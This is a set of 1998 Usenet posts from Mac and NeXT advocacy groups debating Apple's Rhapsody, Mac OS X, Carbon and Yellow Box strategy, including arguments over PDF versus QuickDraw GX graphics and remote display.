Content-Transfer-Encoding: 7bit
>> So unless Mike Paquette pulls a rabbit out of his hat and provides
GX-level
>> graphics for Carbon, high-end graphics developers for MacOS no longer
>have
>> a high-end graphics engine that will work on both low-end and high-end
>> Macintoshes.
>
>Be vewwy quiet, I'm gwabbing a wabbit right now...
OK, so you're planning on producing a GX-like OOP library for YB that will
have the basic classes exposed to Carbon ala GX's strategy?
Seems to me that that would be the best solution and reasonably easy to do.
This would allow extensibility on the YB side and at least provide
*something* for Carbon.
I still wish you guys would give us 3x3 matrices. Those are very nice for
special effects and who wants to roll their own 3D text-editing without
them? How are you going to pass graphics between applications? Via a
PICT-like mechanism or is it going to be PDF all the way through?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 16 May 1998 11:26:47 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-1605981126470001@term1-16.vta.west.net>
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net>
NNTP-Posting-Date: 16 May 1998 18:22:10 GMT
In article <355CA9E5.44F6@earthlink.net>, skellener@earthlink.net wrote:
> When you tear off a menu, will the menubar go away?
And on a related note, can you tear off the entire menubar into a
NeXT-style "collumn" menu? I think both methods, menu bar and menu
collumn, are usefull in different situations. On small (<15") monitors, a
menubar is better, but on large monitors where you don't want to move the
mouse way up across the screen to hit a menu, a relocatable collumn of
menus is better.
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sat, 16 May 1998 11:32:18 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1605981132180001@user-38ld69u.dialup.mindspring.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
In article <6jiaqk$6sf$4@news.xmission.com>, don@misckit.com wrote:
> First: Adobe was supposedly pusing Apple to kill DPS. We're not just
> talking being a pain with the license, but they actually wanted it trashed.
> So there's something political involved which isn't just about greed.
>
> Second: Adobe is trying to move towards a world where all printers speak
> PDF. As in, they are trying to move to a new standard...PDF and not PS. PDF
> isn't standing still, and it certainly is becoming a viable way to pass
> around documents. In many ways, more viable than PS. At least, that's what
> Adobe wants you to think.
Politics between Apple and Adobe?!?! Say it ain't so!
> Do I like it? Well, the _only_ thing that really irks me about the change is
> the loss of the client/server model that allows for redirecting the graphics
> (a la NSHosting). I think that's a mistake and I'm very interested to see
> how Apple's engineers are going to patch over this one. I perceive it as
> moving the least common denominator down a notch.
There are better places in the OS to put client/server support.
-mark
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 11:34:41 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1605981134410001@user-38ld69u.dialup.mindspring.com>
References: <6jft1v$83b$1@crib.bevc.blacksburg.va.us> <B1810ADA-12A90@206.165.43.99> <6jh4vj$1cc$42@ironhorse.plsys.co.uk>
In article <6jh4vj$1cc$42@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <B1810ADA-12A90@206.165.43.99> "Lawson English" wrote:
>
> > In other words, developers of Carbon-based apps can't use GX *OR* a
> > DPS-based GX-like entity
> >
> Yes they will -- you obviously haven't read the notes from the imaging
> session. Go away and read them.
Extended QuickDraw will be available to both Carbon-based and Yellow-based apps.
-mark
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <nagleEt2BBL.Irx@netcom.com>
Organization: Netcom On-Line Services
References: <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com> <B1832253-1C09B@206.165.43.27>
Date: Sat, 16 May 1998 18:28:33 GMT
Sender: nagle@netcom6.netcom.com
"Lawson English" <english@primenet.com> writes:
>Mike Paquette <mpaque@wco.com> said:
>>PDF is the preferred graphics metafile format. It nicely encapsulates
>>the imaging model, and it is currently rapidly rising in acceptance in
>>the prepress industry.
>Unless PDF has changed drastically since version 2.0, I've never felt that
>the format is very conducive to editing, or interaction. Why use a metafile
>format which is designed for frozen graphics?
>Last I looked, PDF didn't support transparencies, so you guys must be doing
>something to pass along transparent, overlapping graphics via PDF. Will
>this solution allow anyone to reconstruct the original graphic?
Adobe PDF was mostly used for web shovelware, where somebody needed to
needed to cram existing content on the Web in a hurry. It's on the way
out as tools for converting existing documents into HTML become better.
Apple wants to use that as a graphics file format?
Incidentally, this is just a "file format", not a "metafile format".
A "metafile format" describes the format of other files. A database
schema is an example of a metafile, because it describes the database.
John Nagle
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: Sat, 16 May 1998 11:41:12 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com>
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5>
In article <355c8237.0@206.25.228.5>, jkheit@xtdl.com wrote:
> I agree with that. For instance, why not just go to Display
> Ghostscript instead of Quick draw. Seems like a LOT less work.
> But what the heck do I know.
Umm, how would DGS solve the problem?
-mark
Date: Sat, 16 May 1998 13:19:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1605981319310001@elk72.dol.net>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190> <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1605980710220001@elk81.dol.net> <6jk617$mlb$1@goof.de.uu.net>
In article <6jk617$mlb$1@goof.de.uu.net>,
hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette) wrote:
> Joe Ragosta wrote:
> > In article <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > > In article <B1824879-5DEAC@207.217.155.190>, "Brad Hutchings"
> > <brad@hutchings-software.com> wrote:
> > > > why not deploy to "Carbon" using PowerPlant?
> > >
> > > Because Yellow is better?
> > >
> > > > That is a sure bet.
> > >
> > > Why do you think there's less of a chance of them shipping Yellow
> > > than Carbon?
> >
> > Anyone have an update on GNUStep? Will it be able to run YB apps? If so,
> > that should eliminate the concerns about Apple dropping YB.
>
> Joe,
> as much as your vocal participation is appreciated -
> could you please stop talking about things you really don't understand?
> Please?
>
> If Apple drops YB (and it sure as hell looks like YB has been put
> on the back burner because 'the Mac community was not ready for it')
> GNUStep won't amount to a piece of midget shit.
Care to try explaining _why_ instead of just flaming people?
As I understand it, GNUStep is a freeware implementation of OpenStep APIs.
If GNUStep is able to run YB apps, then anyone who invests in YB apps will
still be able to run them if Apple drops YB.
Exactly why is this so far outside the realm of possibility?
Oh, and where has Apple said that they're putting YB on the back burner?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 16 May 1998 13:29:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1605981329460001@elk72.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net> <355CB499.EB48D472@milestonerdl.com>
In article <355CB499.EB48D472@milestonerdl.com>, mark@milestonerdl.com wrote:
> Joe Ragosta wrote:
>
> > Baloney. Apple has consistently stated that YB apps will run on Win95/NT.
> > It's in most of their discussions on YB.
>
> And 98? And NT 5.X? That's Micro$oft's future. Why hasn't Apple
announced planned
> support for them?
Maybe because it's not an issue?
Or are you saying that you expect Win98/NT5 to break all the Win95/NT4 apps?
Apple has said that they're supporting Windows. Until I hear otherwise (or
until you give me evidence that an Win95/NT4 app won't run on Win98/NT5),
that means it's not a problem.
BTW--if you start claiming that Win98/NT5 won't run Win95/NT4 apps, it's
going to look pretty bad for your MS advocates around here.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 98 13:00:42 -0600
Organization: ICGNetcom
Message-ID: <B1833E7E-2AF03@204.31.112.145>
References: <see-below-1505982041250001@209.24.241.97>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Fri, May 15, 1998 9:41 PM, Matthew Vaughan
<mailto:see-below@not-my-address.com> wrote:
>In article <6jhtr4$ibt$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com
>wrote:
>
>> mark@milestonerdl.com wrote:
>> > > The death of YB as a cross-platform solution. If Apple were going
to
>> > > announce long-term YB Windows support or long-term Rhapsody/Intel
>support,
>> > > I think they would have announced it at WWDC. They did not. Read
>between
>> > > the lines. What does this tell you?
>> >
>> > The party is NOT over yet.
>> >
>> > Now, I asked about YellowBox on NT 5.x/98 5-7 months ago. And, when
>> > WWDC was ramping up, the ProNeXT people said 'wait for WWDC, it will
>> > tell all'.
>> > WWDC isn't over yet....but when it is, and there is no NT 5.x
>> > announcement, the cross-platform YellowBox will be a promise that
>> > Apple has no intention of supporting it in the long-term.
>>
>> According to Scott Anguish's detailed WWDC notes:
>>
>> :: One thing that I do want to note is that it was mentioned on
>> :: several occasions that Yellow Box for Windows is a long-term
>> :: commitment, and that it will run on Windows 98 and NT 5.0
>> :: (if it ever appears). I think it was mentioned that DR2 runs
>> :: on the current Windows 98 beta.
>>
>> See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
>>
>> Satisfied?
>
See
also
http://www.developer.com/calendar/minisites/wwdc98/121YBforWindows/index.htm
>
>In addition to which, I see Yellow Box for Windows and Rhapsody for Intel
>as integral to Apple's strategy. If it's not available on Intel, you can
>automatically cut the number of apps that are likely to appear for it in
>half, if not worse. So killing YB for Windows, or Rhapsody for Intel would
>be striking a big blow against YB's chances of success on PPC as well.
>
>As I've said before, no matter how good it is, if Apple killed YB on
>Intel, I'd expect them to kill it on PPC very soon after. And I don't see
>that happening, at all.
>
>Apple needs every advantage over competitors they can get. Having rapid,
>elegant YB development would be one advantage. Apple also needs as many
>apps available for the platform as possible. Having a cross-platform
>solution is the best way to ensure that. And Apple may want a "fall-back"
>position in case PPC really does fail at some point, or just to ride a
>higher rate of growth in the Intel market as well as demand for servers,
>so having some presence on Intel is also a smart move.
>
>But they won't make Carbon for Rhapsody/Intel, let alone Windows, because
>they still need to sell PPC hardware (if they sold Intel hardware instead,
>they'd need to cut prices to match models which are now direclty
>comparable, killing their gross margins, and removing their ability to
>spend enough on software development). The markets they'll target in the
>Intel market are ones that won't necessarily draw away too many of their
>existing customers.
>
-- Well said, Matthew.
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 13:59:05 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1605981359050001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <6jib4k$nu6$1@larry.admin.phil.uu.nl>
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In article <6jib4k$nu6$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Pulsar:
>
> >What you wrote really needs correction.
> >Mac OS X will include:
> [things]
> >Rhapsody 1.0 will include:
> [more things]
> >
> >The only differences between the two are the names, the
> >possible lack of the Unix BSD layer in Mac OS X, and the
> >presence of the Carbon APIs in Mac OS X. Other than those,
> >the two OSes are the same.
>
> Well, no.
>
> The _big_ difference is that (outside the blue box), Rhapsody
> will contain _no_ Mac OS legacy code (well, let's forget
> about HFS+ for the moment: using that instead of UFS is a bad
> idea anyway). Mac OS X will. Lots, actually.
>
> Big difference.
You are refering to Carbon (probably). That is not the same. Yellow Box in
Rhapsody (except for the imaging model change that's recently been
announced) will be the same as Yellow Box for Mac OS X. The legacy code
will not affect that.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 14:00:37 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1605981400370001@news-proxy.cso.uiuc.edu>
References: <andyba-ya02408000R1205981228550001@news> <6jafbi$hbb$1@larry.admin.phil.uu.nl> <andyba-ya02408000R1305981537240001@news> <6jib8s$o02$1@larry.admin.phil.uu.nl>
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In article <6jib8s$o02$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Andy:
>
> >> Okay, okay, I surrender. Maybe it will be like you say.
> >> It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
> [short rant]
> >
> >Nope, no 68K emulator.
>
> They promised it would run the old apps, although without the
> multitasking etc. benefits, didn't they. Seems to me it
> needs some 68k emulator somewhere.
The 68k emulator will run (on both Rhapsody and Mac OS X) only in the
context of the Blue Box.
The Carbon APIs are 100% PPC native. The Yellow Box APIs are 100% PPC native.
The Blue Box runs the Mac OS. The Mac OS is not 100% PPC native.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 12:01:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1833079-513DC@206.165.43.27>
References: <1d93gn8.fhjfyy1knrztwN@carina47.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Mike Paquette <mpaque@wco.com> said:
>Lawson English <english@primenet.com> wrote:
>
>> It completely ignores the issues that GX addresses and provides far
fewer
>> features.
>>
>> Now THAT is nauseating.
>
>Yeah. It really sucks that MacOS programmers won't have to adapt a
>whole new API just to rotate some text.
And what about perspective? How's that 3x3 matrix for supporting
perspective? And what about passing graphics between apps? What's the
preferred metafile format for intra-MacOS graphics? PDF? How well does PDF
support GX text services? Transparency? In-place parsing and editing of
text-on-a-path?
And what a pain in the arse it
>will be to use the same code to produce high quality screen, raster
>printer, and PostScript printer output without using those pict
>comments.
??? Are you referring to QuickDraw or GX? GX translates to PS reasonably
well. A GX-like library based on enhanced QuickDraw would be nice, but what
about backwards comaptibility with GX? Why not go all the way and base
Carbon and Rhapsody graphics on NURBS so that both quadratic and cubic
beziers are supported? That way, when PDF/PS/EPS/whatever files are needed,
*Apple* can produce a single translation facility from the Apple API to the
target format, and if a new target format is needed, an enterprising
developer can produce the translation code for their specific purpose, from
a while-defined metafile format that isn't locked into a specific image
model (like PS).
And direct PDF generation; good grief, can't these modern
>programmers do anything themselves?
Who wants PDF as the intermediate format? PDF is a lousy format for
anything by read-only graphics.
>
>Nauseating indeed. Why, in my day we had to do graphics with nothing but
>ones and zeros. And some days we didn't have any zeros!
Uh-huh.
Wanna tell me how you'll meet my HyperCard challenge, Mike?
I wanted to meet the target for last night, but missed. New target is
before Monday for GXFCN 0.1a... Please show us how to use the raw Carbon
APIs in HyperCard so that stack developers can save and print Carbon
graphics?
Without that retained-mode, HC developers aren't going to get much out of
Carbon, are they, unless the HC engineers abandon 68K and wide-spread
cross-platform support and use Carbon directly.
And I find it ironic that the ONLY sucessful cross-platform graphics API
that Apple has uses 3x3 transform matrices for 2D but you insist that 3x2
is the wave of the future.
Consumers must not like the idea of paying zippo for a perspective-ized
text-editor, so you'll force any developer that wants to provide
perspective text to roll their own, thereby jacking the price up.
Direct PDF support is certainly a more important issue, I'll agree. Who
needs to support anything else except write-only graphics?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 12:07:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18331F0-56C03@206.165.43.27>
References: <6jk95l$b0m@ragnarok.en.uunet.de>
nntp://news.primenet.com/comp.sys.next.advocacy
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Holger Hoffstaette <hhoff@ragnarok.en.REMOVETHIS.uunet.de> said:
>Software development history shows that programmers are *far* too lazy
>to incrementally adopt new paradigms (not APIs!). You cannot mix a
>procedural API and framework based programming. Trying to do so will
>yield the worst of both worlds.
Now that is a silly remark. All Mac frameworks are based on top of
procedural APIs. Come to think of it, so is YB. In fact, some developers
have insisted on using DPS calls directly within YB code.
This makes their applications someone cumbersome to upgrade, but it is done
all the time, and in a framework that you guys like to brag about.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 12:12:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B183331B-5B24A@206.165.43.27>
References: <355DC385.3B57EFF1@trilithon.com>
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Henry McGilton <henry@trilithon.com> said:
>Mike Paquette wrote:
>
> * Lawson English <english@primenet.com> wrote:
>
> * * It completely ignores the issues that GX addresses
> * * and provides far fewer features.
>
> * Yeah. It really sucks . . . .
>
>Actually, when I first read Awesome Lawson's comment, I parsed
>it (inasmuch as you can parse anything he writes) as:
>
> "GX addresses far fewer features and provides
> far fewer features".
I'm uncertain as to your native language.
"It" is the subject of both clauses:
"It completely ignores the issues that GX addresses
and
it provides far fewer features"
is the obvious way to parse the above sentence AND it is the grammarically
correct way to parse the above sentence.
If your native language isn't English, then you have an excuse for why you
misinterpreted this sentence. If your native language is English, then
you're obviously just looking for another excuse to attack me.
Which is juvenile, but to be expected, I suppose.
Are all programmers associated with NeXT like this?
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From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 11:34:37 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-1605981134380001@sea-ts1-p50.wolfenet.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net> <355CB499.EB48D472@milestonerdl.com> <*johnnyc*-1505982333450001@jchristie.halifaxcable.dal.ca> <joe.ragosta-1605980807380001@elk81.dol.net>
Joe Ragosta wrote:
: Exactly. There's no reason that Win98 or NT 5.0 is going to break YB.
All Apple has to do is add support for the browser technology, :-)
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: 16 May 1998 19:23:08 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jkp2s$lkq$1@camel0.mindspring.com>
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In article <1d93djc.r7hr2q1ipczyaN@carina47.wco.com> Mike Paquette,
mpaque@wco.com writes:
>Low level display and memory management services that are thread safe
>are already available. (See also Rhapsody, NSDirectScreen,
>NSDirectBitmap, Interceptor.) As the Blue Box team demonstrated on
>Thursday, Yellow Box and Carbon apps are already co-existing on a
>prototype graphics substrate.
Mike, please tell the MacOS X team that we REALLY REALLY want NSHosting
back.
Thanks,
Matthew Cromer
From: <gbh@middlemarch.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 16 May 1998 15:24:23 -0400
Organization: Verio Mid-Atlantic
Message-ID: <Pine.GSO.3.96.980516142131.950E-100000@shell.clark.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <01bd80f2$a874f4c0$04387880@test1>
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> > Rhapsody 1.0 on Intel is the *LAST* version of the Yellow Box/Mach
> > combo for Intel. IE: Rhapsody on Intel can be considered the end
> > of life for that product.
> (However, I would not be surprised to see a Merced version :-)
>
> I suspect the variety of PC hardware combinations makes driver writing
> and testing a time sink. Perhaps a release of OpenStep for Linux would
> be an easier path for Apple?
I think Apple will develop their own proprietary Merced
based Macintoshes and write a Yellow Box/Mach for that,
rather than a YB/Mach for the generic Windows Merced
machines. I agree with you in that the best path for Apple
to support the generic Wintel platform is to write YB/Linux
(or perhaps YB/FreeBSD may be an easier task). This way the
GNU community can write the drivers and Apple can sell a
User/Developer environment and Netinfo, to run on top of
Yellow Box.
--Greg
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer
Subject: Re: NSHosting and MacOS X
Date: 16 May 1998 19:27:42 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jkpbe$m2v$1@camel0.mindspring.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com>
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In article <1d93iik.1l170dz8etsaxN@carina47.wco.com> Mike Paquette,
mpaque@wco.com writes:
>Remote Display and operation
>
>Remote display and operation of Mac systems is an important capability,
>which in the past has been addressed by third party applications. I
>realize the importance of this capability to the developer, educational,
>and enterprise communities. I am very interested in providing this
>capability.
The problem with PCAnywhere and Timbuktu is that they allow only one user
on a particular computer
to use the GUI.
NSHosting and X allow multiple GUI logins to a single computer.
THis is the screaming advantage of such a protocol.
It will be very sad if Apple takes such an important part of the Unix
heritage away from
MacOS X.
Matthew Cromer
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 12:33:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1833813-6DD19@206.165.43.27>
References: <nagleEt2BBL.Irx@netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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John Nagle <nagle@netcom.com> said:
> Adobe PDF was mostly used for web shovelware, where somebody needed to
>needed to cram existing content on the Web in a hurry. It's on the way
>out as tools for converting existing documents into HTML become better.
>Apple wants to use that as a graphics file format?
PDF is also the basis for Acrobat. Anyone who's ever looked at the innards
of an Acrobat file knows that it isn't really designed for anything but
display/print-only graphics. Certainly, that is what Adobe's PDF manual
says, or implies (I can hunt down relevant quotes and passages if anyone
actually doubts this).
>
> Incidentally, this is just a "file format", not a "metafile format".
>A "metafile format" describes the format of other files. A database
>schema is an example of a metafile, because it describes the database.
>
OTOH, GX flattened files COULD almost be considered a metafile format
because each picture is a simple database of shapes and objects which can
easily be extracted individually and in groups.
Ironically, given Apple's preference for PDF, the GX PDD format apparently
would compress images as compared to PDF. This is likely partly because PDD
is a binary format, but also because the inclusion of fonts within a PDD
file is on a per-glyph-used basis, whereas the inclusion of fonts within
PDF is on a per-font basis.
In other words, if you use a single chinese font character in an Acrobat
file, the entire 6 MB font is going to be included in the Acrobat file,
whereas PDD files only include those characters which are actually used,
making the PDD file nearly 6MB smaller.
This makes PDF especially unsuitable for web-use unless they've changed the
way in which PDF handles fonts, but apparently a PDF-based markup language
format is being pushed by both Adobe AND Netscape as the "wave of the
future."
Good ole Apple: forsakes its own ideal internet graphics solution for an
obviously less suitable, less robust and less useful "industry standard,"
because "that's what everyone else is using."
Makes me want to salue Jobs every time I think about him.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 12:43:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1833A63-76858@206.165.43.27>
References: <markeaton-1605981134410001@user-38ld69u.dialup.mindspring.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Mark Eaton <markeaton@mindspring.canned-meat-filter.com> said:
>In article <6jh4vj$1cc$42@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> In <B1810ADA-12A90@206.165.43.99> "Lawson English" wrote:
>>
>> > In other words, developers of Carbon-based apps can't use GX *OR* a
>> > DPS-based GX-like entity
>> >
>> Yes they will -- you obviously haven't read the notes from the imaging
>> session. Go away and read them.
>
>Extended QuickDraw will be available to both Carbon-based and Yellow-
>based apps.
But Extended QuickDraw (enhanced QUickdraw?) isn't terribly GX-like.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 14:54:19 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <ericb-1505981847060001@132.236.171.104>
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In article <ericb-1505981847060001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
> > Rhapsody as it was would have never made as a consumer OS since none of the
> > big software companies endorsed it. That _forced_ Apple to do what they did
> > on Monday.
>
> Apple's past history and Apple's refusal to clarify how Apple would
> position Rhapsody in the market are a big reason *why* they never endorsed
> it.
Yes. I've said as much in one of previous replies to him.
> > > If so, it's too stupid for words.
> >
> > No, you just don't understand.
>
> He could say the same to you. This is a pointless way to debate.
He has been misunderstanding what Mac OS X is since the announcement. He
has directly complained and in other cases only strongly implied that:
Mac OS X won't be able to run legacy Mac OS applications without a rewrite.
Carbon has replaced the Blue Box.
There will be no Blue Box.
There will be no Yellow Box.
There will be no Mach kernel.
Rhapsody won't be released.
Rhapsody will be 18 months late.
There's no reason to write for Rhapsody anymore.
People who have been working on apps for Rhapsody won't have anywhere to
run them for 18 months.
His arguement keeps changing as he learns more and more about the
situation. The more he learns, the closer he seems to come to a real point.
There is one, but he hasn't quite hit it nor has he presented any
significant correct information support his arguement.
In short, he doesn't understand. To point it out to him is not in
particular a way to debate. There can be no useful debate if one side
presents _incorrect_ information to support its case.
The point I think he's trying to make is that Mac OS X as a mainstream
replacement OS for the current Mac OS is late and that Rhapsody was
originally intended for that purpose in a shorter time frame than what is
now being pushed. Mac OS X is basically Rhapsody. Rhapsody was originally
intended to be a mainstream OS replacement for the Mac OS. As it became
clear that it wouldn't initially work out that way, Apple had to do
something. That something was the plan for Mac OS X.
